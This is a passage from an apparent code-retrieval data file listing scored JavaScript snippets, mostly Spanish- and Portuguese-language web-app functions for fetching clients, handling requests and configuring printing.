{\n console.log(`Productos de la tienda Sonytel Inc`);\n }", "title": "" }, { "docid": "89154874a76c0942fa4300ffbf9e3c61", "score": "0.53533155", "text": "get client() {\n return MonikaCore.discordClient;\n }", "title": "" }, { "docid": "d613dc60c9f8cda7b729e84d4c0c8b36", "score": "0.5352909", "text": "function getDatos (error, fila){\n if (error != null){\n console.log(\"error 500 en getDatosCliente\");\n respuesta.sendStatus(500);\n }else if(fila === undefined){\n console.log(\"error 401 en getDatosCliente\");\n respuesta.sendStatus(401)\n }else{\n console.log(\"envio del objeto con los datos del usuario en getDatosCliente\");\n respuesta.send(fila);\n }\n }", "title": "" }, { "docid": "79b803cb0b50613d97b998f24406fa55", "score": "0.5352694", "text": "function fn_carga_tipo_cli(){\n \n parameters = \n {\n\t\t\"func\":\"fn_tip_cliente\",\n\t\t\"empresa\":$(\"#tx_empresa\").val()\n };\n HablaServidor(my_url,parameters,'text', function(text) \n {\n if(text != \"\")\n $(\"#cb_fil_tip_cli\").html(text);\n });\n}", "title": "" }, { "docid": "f42a1794553145d973e36b8e098fcdce", "score": "0.53486466", "text": "function obtenerContenidoBolsaCompras(){\n\tjQuery.getJSON('https://'+storedomain+'/cart?'+fcc.session_get()+'&output=json&callback=?', function(cart) {\n\t\txajax_llenarCarritoLocal(cart.products);\n\t});\n}", "title": "" }, { "docid": "ae205ec27d3c10649a65542fab9c7637", "score": "0.53367126", "text": "function GetAuthority() {\r\n var accountNumber = \"\";\r\n var categoryId = \"\";\r\n services.getService(apiUrl.authority.Get_WithCategoryId(accountNumber, categoryId)).then(function (response) {\r\n });\r\n}", "title": "" }, { "docid": "09e1cb174f92501c7f089413e2f97b25", "score": "0.5334859", "text": "function getClient(field, value) {\n for(let client of clients) {\n if(client[field] == value) {\n return client;\n }\n }\n}", "title": "" }, { "docid": "9bfa53a8e9bfbe01e74be0c1d7141d29", "score": "0.5330386", "text": "function cCarrito() {\n this.lrc_id = -1;\n this.codSucursal = '';\n this.suc_nombre = '';\n this.listaProductos = [];\n}", "title": "" }, { "docid": "0940383f35db219412b8f1fca92a8957", "score": "0.5328779", "text": "get_ClientID() {\n\t\treturn this.clientId.get(0).getText().then (function(returnValue){\n\t\t\tconsole.log(\"fd\"+returnValue)\n\t\t\tsteps_util.info_step('*******************Retrive ClientID from UI***********************'+returnValue)\n\t\t\treturn returnValue\n\t\t})\n\t}", "title": "" }, { "docid": "2fd41e10cfd1df8b53178b7f142b5bba", "score": "0.532773", "text": "get clientId() {\n return this._clientId;\n }", "title": "" }, { "docid": "db6364458c09e83d9baecfef4c16bc2a", "score": "0.53232306", "text": "getReceitaById(receitaID){\n return axios.get(RECEITAS_API_BASE_URL + '/receita/' + receitaID);\n }", "title": "" }, { "docid": "22d95227a5bc4a75698fc2f83213c7be", "score": "0.5322703", "text": "function getOneClient(req, res){\n clientsModel.findOne({email:req.params.id}, {password:0}, function(err, client){\n if(!err){\n res\n .status(200)\n .send({\n client : client\n });\n }else{\n personalCodesStatus.res500(res);\n }\n });\n}", "title": "" }, { "docid": "5884729533540e33f8433b1ff41d17dd", "score": "0.5302241", "text": "function getClientsPage() {\n return fetch('/bank/clients', {\n method: 'GET',\n headers: {\n 'Content-Type':'application/json'\n }\n })\n}", "title": "" }, { "docid": "6f44775781560bd94e371b61253db808", "score": "0.52990484", "text": "async getTramite(idTramite){\n return await axios.get(`${general.getServe()}tramite/buscar/${idTramite}`);\n }", "title": "" }, { "docid": "cad7494786634ad6907929ef3389b836", "score": "0.5294928", "text": "function getChore(){\n\t\t\tvar successCallback = function(chore){\n\t\t\t\taddData(chore.data);\n\t\t\t};\n\n\t\t\tvar errorCallback = function(error){\n\t\t\t\tconsole.log('error: ' + error);\n\t\t\t};\t\t\t\t\n\t\t\t\n\t\t\tvar url = applicationConfig.chores +'?resposable='+$localStorage.userSesion.id+ '&state=done';\n\t\t\thttpService.get(url, {}, successCallback, errorCallback);\n\t\t}", "title": "" }, { "docid": "99a7f43cdd1decf8020c706e358bc6e8", "score": "0.5290595", "text": "acessarCursosPorConcurso(){\r\n cy.get(elements.lk_concurso()).click()\r\n }", "title": "" }, { "docid": "79860af824589fa3c41fed7b36b3263c", "score": "0.5286763", "text": "function getClients(req,res){\r\n Client.find({},(err,clients)=>{\r\n if(err){\r\n res.status(500).send({message:'Error en la petición'});\r\n }else{\r\n if(!clients){\r\n res.status(404).send({message:'LOS CLIENTES NO EXISTEN'});\r\n }else{\r\n res.status(200).send({clients});\r\n }\r\n }\r\n\r\n });\r\n}", "title": "" }, { "docid": "29a70cdcea1b6f1c73011d56da0625fe", "score": "0.5279801", "text": "get(req, resp) {\n return __awaiter(this, void 0, void 0, function* () {\n try {\n const { placa } = req.params;\n const conduct = yield ConexionDB_1.default.query('SELECT * FROM concuctores WHERE id = ?', [placa]);\n if (conduct.length > 0) {\n return resp.json(conduct[0]);\n }\n resp.status(404).json({ message: 'Conductor no encontrado' });\n }\n catch (error) {\n console.error(error);\n resp.status(404).json({ message: error });\n }\n });\n }", "title": "" }, { "docid": "5a551cb3891e28172b1b72059a621c4c", "score": "0.5269581", "text": "function DataTools4_getMainCompoName(){\r\n return this.getCompoName();\r\n}", "title": "" }, { "docid": "33e4b816c1c6f835ea9953309468aac9", "score": "0.5266692", "text": "async buscarPorId(req, res) {\n //validando perfil do usuário no controller\n const { usuarioId, usuarioPerfil } = req;\n if (usuarioPerfil !== \"cliente\")\n return res.status(403).send({ erro: \"acesso negado\" });\n const id = req.params.id;\n // busca o cliente pela chave\n const cliente = await Cliente.findByPk(id, { raw: true });\n // verifica se o cliente não foi encontrado\n if (!cliente) {\n res.status(404).send({ erro: \"Cliente não encontrado\" });\n }\n delete cliente.senha;\n res.send(cliente);\n }", "title": "" }, { "docid": "d9b7c8a24c7aee9ea7bebf4f8a85781d", "score": "0.5258923", "text": "function retrieveClient(id) {\n clientsService.getClientById(id)\n .then(function (client) {\n showClientPopup(client);\n })\n .catch(function (err) {\n errorService.handleError(err); // Catch error\n });\n }", "title": "" }, { "docid": "91bb0824c574cfb8a3e035e18c85680f", "score": "0.5250038", "text": "static clienteconSaldoSuficiente(preciopaquete){//REGLA SALDOSUFICIENTE\n return new ClienteSaldoSuficiente(preciopaquete);\n }", "title": "" }, { "docid": "e5556cee38b04feb1117cd59242fdd7e", "score": "0.5247502", "text": "obtenerTodosAcopio() {\n return axios.get(`${API_URL}/centroacopio`);\n }", "title": "" }, { "docid": "a6cb23e0bf3c9719e4da246870ee0656", "score": "0.52302915", "text": "function Cliente(nombre , saldo) {\n this.nombre= nombre;\n this.saldo=saldo;\n this.tipoCliente=function () {\n let tipo;\n if(this.saldo>100){\n tipo=\"gold\";\n\n\n }else if(this.saldo>500){\n tipo=\"Platinum\"\n }\n else{\n tipo=\"normal\";\n }\n return tipo;\n }\n}", "title": "" }, { "docid": "a57805c0122eb2d251d9dbe264c95407", "score": "0.5216317", "text": "function getOneClient(req, res, next) {\n let clientID = req.params.id\n let body = req.body\n model.getOneClient(clientID, body).then(data => {\n res.status(200).json({ data })\n })\n}", "title": "" }, { "docid": "7d8acb27cbdf09bc8cf7172515095286", "score": "0.5216169", "text": "function getClient(clientId,clientSecret) {\n console.log(\"getclient\",clientId, clientSecret)\n const options = {\n where: { client_id: clientId },\n attributes: ['id', 'client_id', 'redirect_uri'],\n };\n if (clientSecret) options.where.client_secret = clientSecret;\n\n return sqldb.App\n .findOne(options)\n .then(function serializeClient(client) {\n console.log(\"client details\",client.toJSON())\n if (!client) return new Error(\"client not found\");\n var clientWithGrants = client.toJSON()\n clientWithGrants.grants = ['authorization_code', 'password', 'refresh_token', 'client_credentials']\n // Todo: need to create another table for redirect URIs\n clientWithGrants.redirectUris = [clientWithGrants.redirect_uri]\n delete clientWithGrants.redirect_uri\n //clientWithGrants.refreshTokenLifetime = integer optional\n //clientWithGrants.accessTokenLifetime = integer optional\n return clientWithGrants\n }).catch(err => console.log(\"getClient - Err: \", err));\n}", "title": "" }, { "docid": "e7de968093fe8c6291610d15c9ab0ae4", "score": "0.52099556", "text": "async function findAllCurso(clave){\n let curso = await db.EstudianteCursos.findAll({\n\t\twhere:\n\t\t\t{\n\t\t\t\tclave: clave\n\t\t\t}\n\t});\n return curso;\n \n}", "title": "" }, { "docid": "4ef2514374c9ec551857709d4d3831e6", "score": "0.5203821", "text": "function Clinete (nombre , saldo){\n this.nombre=nombre;\n this.saldo=saldo;\n /* this,tipoCliente= function () { // poner this para para saber que es parte de ese objeto\n let tipo;\n if(this.saldo>1000){\n tipo=\"gold\";\n }else if (this.saldo>500) {\n tipo=\"patinum\";\n }else{\n tipo=\"normal\";\n }\n return tipo;\n } */\n}", "title": "" }, { "docid": "68c20fd5c9f66f47b2ec8a64c32990f4", "score": "0.5202912", "text": "function getClients(){\t\t\t\t \n\t\t\t\tvar req = {\n\t\t\t\t\tmethod: 'GET',\n\t\t\t\t\turl: 'http://localhost:8080/bank-account-kata/rest/bank/getClients'\n\t\t\t\t};\t\t\n\t\t\t\treturn\t$http(req);\n\t\t\t}", "title": "" }, { "docid": "80fa998795be7a9102faf1ac3cc8286e", "score": "0.5194489", "text": "buscarClientes(x) {\n if (this.textoBusqueda == \"\")\n return true;\n var cad = this.clientes[x].nombreCompleto +\n this.clientes[x].celular +\n this.clientes[x].whatsapp +\n this.clientes[x].direccion;\n cad = cad.toUpperCase();\n\n if (cad.indexOf(this.textoBusqueda.toUpperCase()) >= 0)\n return true;\n else\n return false;\n }", "title": "" }, { "docid": "22b01ae576f469ba7e60d3311d339e4f", "score": "0.5190096", "text": "function autorizarCotizacion() {\n\n\t// TextArea Comntario\n\tvar textAreaCommentQuo = $.textAreaCommentQuo.value;\n\n\t// Validamos si existe un cliente\n\tif (idClientQuo != \"\" && idClientQuo > 0) {\n\n\t\t// OBJ JSON PARA ENVIAR EN LA PETICION\n\t\tvar objJsonAuthorizeQuotation = {\n\t\t\tidQuotation : idQuotationCurrent,\n\t\t\tcomment : textAreaCommentQuo,\n\t\t\tidClient : idClientQuo,\n\t\t\tidSeller : idUsuarioSession\n\t\t};\n\n\t\t//Ti.API.info(\"OBJ JSON AQ: \" + JSON.stringify(objJsonAuthorizeQuotation));\n\n\t\t// Dialogo para autorizar un acotizacion\n\t\tvar dialogAuthorizeQuotation = Ti.UI.createAlertDialog({\n\t\t\tpersistent : true,\n\t\t\tcancel : 0,\n\t\t\tbuttonNames : ['Confirmar', 'Cancelar'],\n\t\t\tmessage : '¿Seguro de realizar esta acción?',\n\t\t\ttitle : 'Autorizar Cotización'\n\t\t});\n\n\t\t// Click sobre el dialogo\n\t\tdialogAuthorizeQuotation.addEventListener('click', function(e) {\n\n\t\t\tif (e.index == 0) {\n\n\t\t\t\t// Abrimos ventana del Indicador\n\t\t\t\twinAddActivityIndicator.open();\n\t\t\t\t// Mostramos el indicador\n\t\t\t\tactivityIndicator.show();\n\n\t\t\t\t// URL del servicio rest\n\t\t\t\tvar url = \"http://\" + Alloy.Globals.URL_GLOBAL_SIES + \"/sies-rest/quotation/setAut\";\n\n\t\t\t\t// Cliente para realizar la peticion\n\t\t\t\tvar client = Ti.Network.createHTTPClient({\n\t\t\t\t\tonload : function(e) {\n\n\t\t\t\t\t\tsetTimeout(function() {\n\n\t\t\t\t\t\t\t// Cerramos la ventana del Indicador\n\t\t\t\t\t\t\t//winAddActivityIndicator.close();\n\n\t\t\t\t\t\t\t// Cerramos el indicador\n\t\t\t\t\t\t\t//activityIndicator.hide();\n\n\t\t\t\t\t\t\t// Limpiamos el valor del id de la cotizacion\n\t\t\t\t\t\t\tAlloy.Globals.ID_GLOBAL_QUOTATION = 0;\n\n\t\t\t\t\t\t\t// Venta principal de cotizaciones\n\t\t\t\t\t\t\tvar winHomeQuotations = Alloy.createController('home').getView();\n\n\t\t\t\t\t\t\t// Abrimos ventana\n\t\t\t\t\t\t\twinHomeQuotations.open();\n\n\t\t\t\t\t\t}, 3000);\n\n\t\t\t\t\t},\n\t\t\t\t\tonerror : function(e) {\n\t\t\t\t\t\t// Cerramos la ventana del Indicador\n\t\t\t\t\t\twinAddActivityIndicator.close();\n\n\t\t\t\t\t\t// Cerramos el indicador\n\t\t\t\t\t\tactivityIndicator.hide();\n\n\t\t\t\t\t\tTi.UI.createAlertDialog({\n\t\t\t\t\t\t\tmessage : 'Ocurrio un error.\\nIntentalo nuevamente.',\n\t\t\t\t\t\t\ttitle : 'Error',\n\t\t\t\t\t\t\tok : 'Aceptar',\n\t\t\t\t\t\t}).show();\n\n\t\t\t\t\t},\n\t\t\t\t\ttimeout : 59000\n\t\t\t\t});\n\n\t\t\t\t// Preparamos conexion\n\t\t\t\tclient.open(\"POST\", url);\n\n\t\t\t\t// Establecer la cabecera para el formato JSON correcta\n\t\t\t\tclient.setRequestHeader(\"Content-Type\", \"application/json; charset=utf-8\");\n\n\t\t\t\t// Enviar petición\n\t\t\t\tclient.send(JSON.stringify(objJsonAuthorizeQuotation));\n\n\t\t\t};\n\n\t\t});\n\n\t\t// Mostramos el Alert Dialogo\n\t\tdialogAuthorizeQuotation.show();\n\n\t} else {\n\t\t//alert(\"Debes seleccionar un cliente!\");\n\t\tTi.UI.createAlertDialog({\n\t\t\tmessage : 'Debes seleccionar un cliente!',\n\t\t\ttitle : 'Cliente',\n\t\t\tok : 'Aceptar',\n\t\t}).show();\n\t};\n\n}", "title": "" }, { "docid": "a50fbe10deeceb0ca38d63359f322be1", "score": "0.51873213", "text": "listaCliente(req, res) {\n return __awaiter(this, void 0, void 0, function* () {\n //guardamos la funcion \"conexion\" en las constante \"db\" para lograr la conexion con la base de datos\n const db = yield database_1.conexion();\n //se crea la varible cliente para realizar una consulta y mostrar los datos que contiene la tabla cliente\n let cliente = yield db.query('select * from cliente');\n //hacemos que el metodo cliente retorne una rta de tipo json, es decir todos los datos de los clientes\n return res.json(cliente);\n });\n }", "title": "" }, { "docid": "93ccdb07b8742ae65b9b81dbab1f40ef", "score": "0.51841533", "text": "buscaDaConta() {\n return fetch(\"./usuario.json\", { method: 'get' });\n }", "title": "" }, { "docid": "9521b67c56adb5a06521bbcea6ecdfd0", "score": "0.5173703", "text": "async function findByClave(clave){\n\tlet curso = await db.Curso.findAll({\n\t\twhere:\n\t\t\t{\n\t\t\t\tclave: clave\n\t\t\t}\n\t});\n\treturn curso;\n}", "title": "" }, { "docid": "ac996e96784ef0d06c7fd8a9aa7eeee4", "score": "0.51731724", "text": "function getAltoCliente(){\r\n var altoDoc = 0;\r\n if( GECKO ){ \r\n altoDoc = window.innerHeight;\r\n } else if( MSIE == true ){\r\n altoDoc = document.body.clientHeight;\r\n } \r\n return (altoDoc + getOrigenY());\r\n}", "title": "" }, { "docid": "50d77199c04e9b52f175d24c91256d69", "score": "0.5158399", "text": "function obtenerProvinciaPorId(id) {\n var uri = __env.apiUrl + 'provincia/buscar/'+id;\n return $http({\n url: uri,\n method: \"GET\",\n headers: { \"Content-Type\": \"application/json\" }\n }).then(function (response) {\n return response;\n });\n }", "title": "" }, { "docid": "9a61dc9bc7676c2468be32a125f2d419", "score": "0.51578325", "text": "function ObtieneCliente(id_cliente)\n{\t\n navigator.notification.activityStart(NOMBRE_APLICACION, \"Search customer.\");\n ObtieneClienteId(id_cliente,\n function(txt, results)\n { \n \t\t\tif(results.rows.length >0)\n \t\t\t{\n var objCliente = new CLIENTE();\n objCliente.codigo_cliente = results.rows.item(0).codigo_cliente;\n objCliente.id_distribuidor = results.rows.item(0).id_distribuidor;\n objCliente.id_cliente = results.rows.item(0).id_cliente;\n objCliente.domicilio = results.rows.item(0).domicilio;\n objCliente.codigo_postal = results.rows.item(0).codigo_postal;\n objCliente.Nombre = results.rows.item(0).Nombre;\n objCliente.telefono = results.rows.item(0).telefono;\n \n objCliente.ciudad = results.rows.item(0).ciudad;\n objCliente.codigo_estado = results.rows.item(0).codigo_estado;\n objCliente.dias_credito = results.rows.item(0).dias_credito;\n objCliente.id_ruta = results.rows.item(0).id_ruta;\n objCliente.id_lista_precio = results.rows.item(0).id_lista_precio;\n \n navigator.notification.activityStop();\n clienteSeleccionado = objCliente;\n \n if(objUsuario.operacion !== TIPOVENTA.PAYMENTS)\n {\n \tobjVentas.objCliente = clienteSeleccionado;\n \tHabilitaInput(\"btnProductos\");\n } \n \t\t\n }else\n { \n \talert(\"customer not exist\");\n navigator.notification.activityStop();\n if(objUsuario.operacion !== TIPOVENTA.PAYMENTS)\n {\n \tclienteSeleccionado = null; \n \tobjVentas.objCliente = null;\n }\n }\n }, null\n );\n}", "title": "" }, { "docid": "00e7cf2186866f1b4b967bfecfa5d862", "score": "0.5157218", "text": "get clientID() {\n return this._clientID;\n }", "title": "" }, { "docid": "66e0d7436e6690b772a1a3ae81b3c864", "score": "0.51565766", "text": "function getDatosClienteMA(id) {\n\t$.get(\"/getDatosCliente/\"+id,function(response) {\n\t\tconsole.log(response);\n \t$('#nom_cliente_ma').html(response.nom_cliente);\n \t$('#id_cliente_ma').val(response.id);\n });\n}", "title": "" }, { "docid": "7ba09b650ff743516836addac4be1783", "score": "0.51521933", "text": "function getClientId() {\n\n let initInjector = angular.injector([\"ng\", 'franklin-dashboard.config']);\n let $http = initInjector.get(\"$http\");\n let ENV = initInjector.get(\"ENV\");\n\n return $http.get(`${ENV.FRANKLIN_API_URL}/v1/auth/github/`);\n}", "title": "" }, { "docid": "8f3091f94fff1631ccfea3868e83e65c", "score": "0.51467705", "text": "function getEndereco (idLavagem) {\r\n // <Escopo> Consulta via ajax\r\n\r\n // Retorna a Dialog com o endereco\r\n $(\"#dialog-alert\")\r\n .dialog( \"open\" )\r\n .html(\"Endereço: Rua ABC, numero 10\");\r\n }", "title": "" } ]
5903c8f6a23bbf21a5b362b71719789e
Create the printWater_Request for printing
[ { "docid": "d7d57874ed377c53d92c0ecf854fcf78", "score": "0.7397034", "text": "function printWater_Request() {\n}", "title": "" } ]
[ { "docid": "544808d1fbfea72cfff7a2c81841ad75", "score": "0.655598", "text": "printData(){\n this.$.printData.url= MyAppGlobals.apiPath + \"/api/report/proposal\"\n this.$.printData.headers['authorization'] = this.storedUser.access_token;\n this.$.printData.body = {\n \"start_date\" : this.Filter.start_date,\n \"end_date\" : this.Filter.end_date,\n }\n this.$.printData.generateRequest();\n }", "title": "" }, { "docid": "3bc888f5219806640709cca8f608c0d6", "score": "0.58239776", "text": "function printKOTRequestNew(obj){\n \n var isKOTRelayingEnabled = window.localStorage.appOtherPreferences_KOTRelayEnabled ? (window.localStorage.appOtherPreferences_KOTRelayEnabled == 1 ? true : false) : false;\n var isKOTRelayingEnabledOnDefault = window.localStorage.appOtherPreferences_KOTRelayEnabledDefaultKOT ? (window.localStorage.appOtherPreferences_KOTRelayEnabledDefaultKOT == 1 ? true : false) : false;\n\n var default_set_KOT_printer = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n var default_set_KOT_printer_data = null;\n var only_KOT_printer = null;\n\n\n findDefaultKOTPrinter();\n\n function findDefaultKOTPrinter() {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == default_set_KOT_printer) {\n default_set_KOT_printer_data = allConfiguredPrintersList[g].list[a];\n } else if (only_KOT_printer == null) {\n only_KOT_printer = allConfiguredPrintersList[g].list[a];\n }\n }\n\n break;\n }\n\n g++;\n }\n }\n\n if (default_set_KOT_printer_data == null) {\n default_set_KOT_printer_data = only_KOT_printer;\n }\n\n\n if (isKOTRelayingEnabled) {\n\n showPrintingAnimation();\n\n var relayRuleList = window.localStorage.custom_kot_relays ? JSON.parse(window.localStorage.custom_kot_relays) : [];\n var relaySkippedItems = [];\n\n populateRelayRules();\n\n function populateRelayRules() {\n var n = 0;\n while (relayRuleList[n]) {\n\n relayRuleList[n].subcart = [];\n\n for (var i = 0; i < obj.cart.length; i++) {\n if (obj.cart[i].category == relayRuleList[n].name && relayRuleList[n].printer != '') {\n relayRuleList[n].subcart.push(obj.cart[i]);\n }\n }\n\n if (n == relayRuleList.length - 1) {\n generateRelaySkippedItems();\n }\n\n n++;\n }\n\n if (relayRuleList.length == 0) {\n generateRelaySkippedItems();\n }\n }\n\n function generateRelaySkippedItems() {\n var m = 0;\n while (obj.cart[m]) {\n\n if (relayRuleList.length != 0) {\n for (var i = 0; i < relayRuleList.length; i++) {\n if (obj.cart[m].category == relayRuleList[i].name && relayRuleList[i].printer != '') {\n //item found\n break;\n }\n\n if (i == relayRuleList.length - 1) { //last iteration and item not found\n relaySkippedItems.push(obj.cart[m])\n }\n }\n } else { //no relays set, skip all items\n relaySkippedItems.push(obj.cart[m]);\n }\n\n if (m == obj.cart.length - 1) { //last iteration\n\n //Print Relay Skipped items (if exists)\n var relay_skipped_obj = obj;\n relay_skipped_obj.cart = relaySkippedItems;\n\n if (relaySkippedItems.length > 0) {\n\n var defaultKOTPrinter = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n\n if (defaultKOTPrinter == '') {\n if (isKOTRelayingEnabledOnDefault) { //relay KOT on default printer as well. otherwise, complete order will be printed on default printer.\n sendToPrinter(relay_skipped_obj, 'KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n } else {\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n\n sendToPrinter(preserved_order, 'KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n }\n } else {\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var selected_printer = '';\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == defaultKOTPrinter) {\n selected_printer = allConfiguredPrintersList[g].list[a];\n\n if (isKOTRelayingEnabledOnDefault) {\n sendToPrinter(relay_skipped_obj, 'KOT', selected_printer);\n\n printRelayedKOT(relayRuleList);\n } else {\n\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n\n sendToPrinter(preserved_order, 'KOT', selected_printer);\n\n printRelayedKOT(relayRuleList);\n }\n\n break;\n }\n }\n }\n\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (selected_printer == '') { //No printer found, print on default!\n if (isKOTRelayingEnabledOnDefault) {\n sendToPrinter(relay_skipped_obj, 'KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n } else {\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n\n sendToPrinter(preserved_order, 'KOT', default_set_KOT_printer_data);\n\n printRelayedKOT(relayRuleList);\n }\n }\n }\n\n g++;\n }\n }\n } else {\n if (!isKOTRelayingEnabledOnDefault) {\n var preserved_order = obj;\n preserved_order.cart = original_order_object_cart;\n\n sendToPrinter(preserved_order, 'KOT', default_set_KOT_printer_data);\n printRelayedKOT(relayRuleList);\n } else {\n printRelayedKOT(relayRuleList, 'NO_DELAY_PLEASE');\n }\n }\n\n }\n\n m++;\n }\n }\n\n function printRelayedKOT(relayedList, optionalRequest) {\n\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var g = 0;\n var allPrintersList = [];\n\n while (allConfiguredPrintersList[g]) {\n\n if (allConfiguredPrintersList[g].type == 'KOT') { //filter only KOT Printers\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n allPrintersList.push({\n \"name\": allConfiguredPrintersList[g].list[a].name,\n \"target\": allConfiguredPrintersList[g].list[a].target,\n \"template\": allConfiguredPrintersList[g].list[a]\n });\n }\n\n //Start relay after some significant delay. \n //Printing of relay skipped items might not be completed yet...\n if (optionalRequest == 'NO_DELAY_PLEASE') {\n startRelayPrinting(0);\n } else {\n setTimeout(function() {\n startRelayPrinting(0);\n }, 3000);\n }\n\n break;\n }\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (optionalRequest == 'NO_DELAY_PLEASE') {\n startRelayPrinting(0);\n } else {\n setTimeout(function() {\n startRelayPrinting(0);\n }, 3000);\n }\n }\n\n g++;\n }\n\n\n function startRelayPrinting(index) {\n\n console.log('Relay Print - Round ' + index + ' on ' + allPrintersList[index].name);\n\n var relayedItems = [];\n for (var i = 0; i < relayedList.length; i++) {\n if (relayedList[i].subcart.length > 0 && relayedList[i].printer == allPrintersList[index].name) {\n relayedItems = relayedItems.concat(relayedList[i].subcart)\n }\n\n if (i == relayedList.length - 1) { //last iteration\n if (relayedItems.length > 0) {\n var relayedNewObj = obj;\n relayedNewObj.cart = relayedItems;\n\n sendToPrinter(relayedNewObj, 'KOT', allPrintersList[index].template);\n\n if (allPrintersList[index + 1]) {\n //go to next after some delay\n setTimeout(function() {\n startRelayPrinting(index + 1);\n }, 3000);\n } else {\n finishPrintingAnimation();\n removeKOTPrintRequest(obj._id, obj._rev, obj.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000); \n }\n } else {\n //There are no items to relay. Go to next.\n if (allPrintersList[index + 1]) {\n startRelayPrinting(index + 1);\n } else {\n finishPrintingAnimation();\n removeKOTPrintRequest(obj._id, obj._rev, obj.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000); \n }\n }\n }\n }\n }\n\n\n }\n } else { //no relay (normal case)\n\n var defaultKOTPrinter = window.localStorage.systemOptionsSettings_defaultKOTPrinter ? window.localStorage.systemOptionsSettings_defaultKOTPrinter : '';\n\n if (defaultKOTPrinter == '') {\n sendToPrinter(obj, 'KOT');\n removeKOTPrintRequest(obj._id, obj._rev, obj.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000); \n\n } else {\n var allConfiguredPrintersList = window.localStorage.configuredPrintersData ? JSON.parse(window.localStorage.configuredPrintersData) : [];\n var selected_printer = '';\n\n var g = 0;\n while (allConfiguredPrintersList[g]) {\n if (allConfiguredPrintersList[g].type == 'KOT') {\n for (var a = 0; a < allConfiguredPrintersList[g].list.length; a++) {\n if (allConfiguredPrintersList[g].list[a].name == defaultKOTPrinter) {\n selected_printer = allConfiguredPrintersList[g].list[a];\n sendToPrinter(obj, 'KOT', selected_printer);\n removeKOTPrintRequest(obj._id, obj._rev, obj.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000); \n break;\n }\n }\n }\n\n\n if (g == allConfiguredPrintersList.length - 1) {\n if (selected_printer == '') { //No printer found, print on default!\n sendToPrinter(obj, 'KOT');\n removeKOTPrintRequest(obj._id, obj._rev, obj.printRequest);\n\n //Process Next Print \n setTimeout(function(){ initialiseProcessing(); }, 3000); \n }\n }\n\n g++;\n }\n }\n\n }\n}", "title": "" }, { "docid": "f15c67582c933f395a1aa84e1c776b0f", "score": "0.55816066", "text": "function createPrintButton() {\n var printIcon = DMS.Helpers.CreateFontAwesomeIcon('fa-print');\n var printBtn = DMS.Helpers.CreateButton('button', 'btn btn-primary printPO permanent-disabled disabled', '', ' PRINT ', printIcon);\n var printConfirmation = DMS.Helpers.CreateModalConfirmation({ id: 'printModal', headerIcon: 'fa fa-print', headerTitle: ' Print ', Body: 'Print purchase order?' });\n $(\".crmEntityFormView\").append(printConfirmation);\n printBtn.on('click', function (evt) {\n printConfirmation.find('.confirmModal').on('click', function () {\n printVPO();\n printConfirmation.modal('hide');\n });\n printConfirmation.modal('show');\n });\n DMS.Helpers.AppendButtonToToolbar(printBtn);\n }", "title": "" }, { "docid": "25392f71658096bf638d1f2819056780", "score": "0.55361086", "text": "function gbPrint()\n{\n\tif (!gbAngularMode) {\n gbGetRequest ( \"goodbarber://print\" );\n } else {\n window.print();\n }\n}", "title": "" }, { "docid": "00c6ae3d147ea8b6dc8ad8eb8c4e1848", "score": "0.5507812", "text": "function createPrintfulOrder(){\n return JSON.stringify({\n recipient: {\n name: $scope.buyer,\n address1: $scope.data.address.components.streetNumber + ' ' + $scope.data.address.components.street,\n city: $scope.data.address.components.city,\n state_code: $scope.data.address.components.state,\n country_code: $scope.data.address.components.countryCode,\n zip: $scope.data.address.components.postCode\n },\n\n //TODO - Cart Service - Get Items\n items: cart.getCartItems()\n });\n }", "title": "" }, { "docid": "ecc925ace1536a058c18c591f8d2abac", "score": "0.549339", "text": "generateRequestParameters() {\n\n\t}", "title": "" }, { "docid": "0fa2246593258c5d1799dc89d12133d1", "score": "0.53073525", "text": "function handlePrintInfo(resp) {\n var layoutTemplate, templateNames, mapOnlyIndex, templates;\n\n layoutTemplate = arrayUtils.filter(resp.parameters, function (param, idx) {\n return param.name === \"Layout_Template\";\n });\n\n if (layoutTemplate.length == 0) {\n console.log(\"print service parameters name for templates must be \\\"Layout_Template\\\"\");\n return;\n }\n templateNames = layoutTemplate[0].choiceList;\n\n // remove the MAP_ONLY template then add it to the end of the list of templates\n mapOnlyIndex = arrayUtils.indexOf(templateNames, \"MAP_ONLY\");\n if (mapOnlyIndex > -1) {\n var mapOnly = templateNames.splice(mapOnlyIndex, mapOnlyIndex + 1)[0];\n templateNames.push(mapOnly);\n }\n\n // create a print template for each choice\n templates = arrayUtils.map(templateNames, function (ch) {\n var plate = new PrintTemplate();\n plate.layout = plate.label = ch;\n plate.format = \"PDF\";\n plate.layoutOptions = {\n \"authorText\": \"Made by: KCG\",\n \"copyrightText\": \"KCG\",\n \"legendLayers\": [],\n \"titleText\": \" Kwale GIS Based Revenue System\",\n 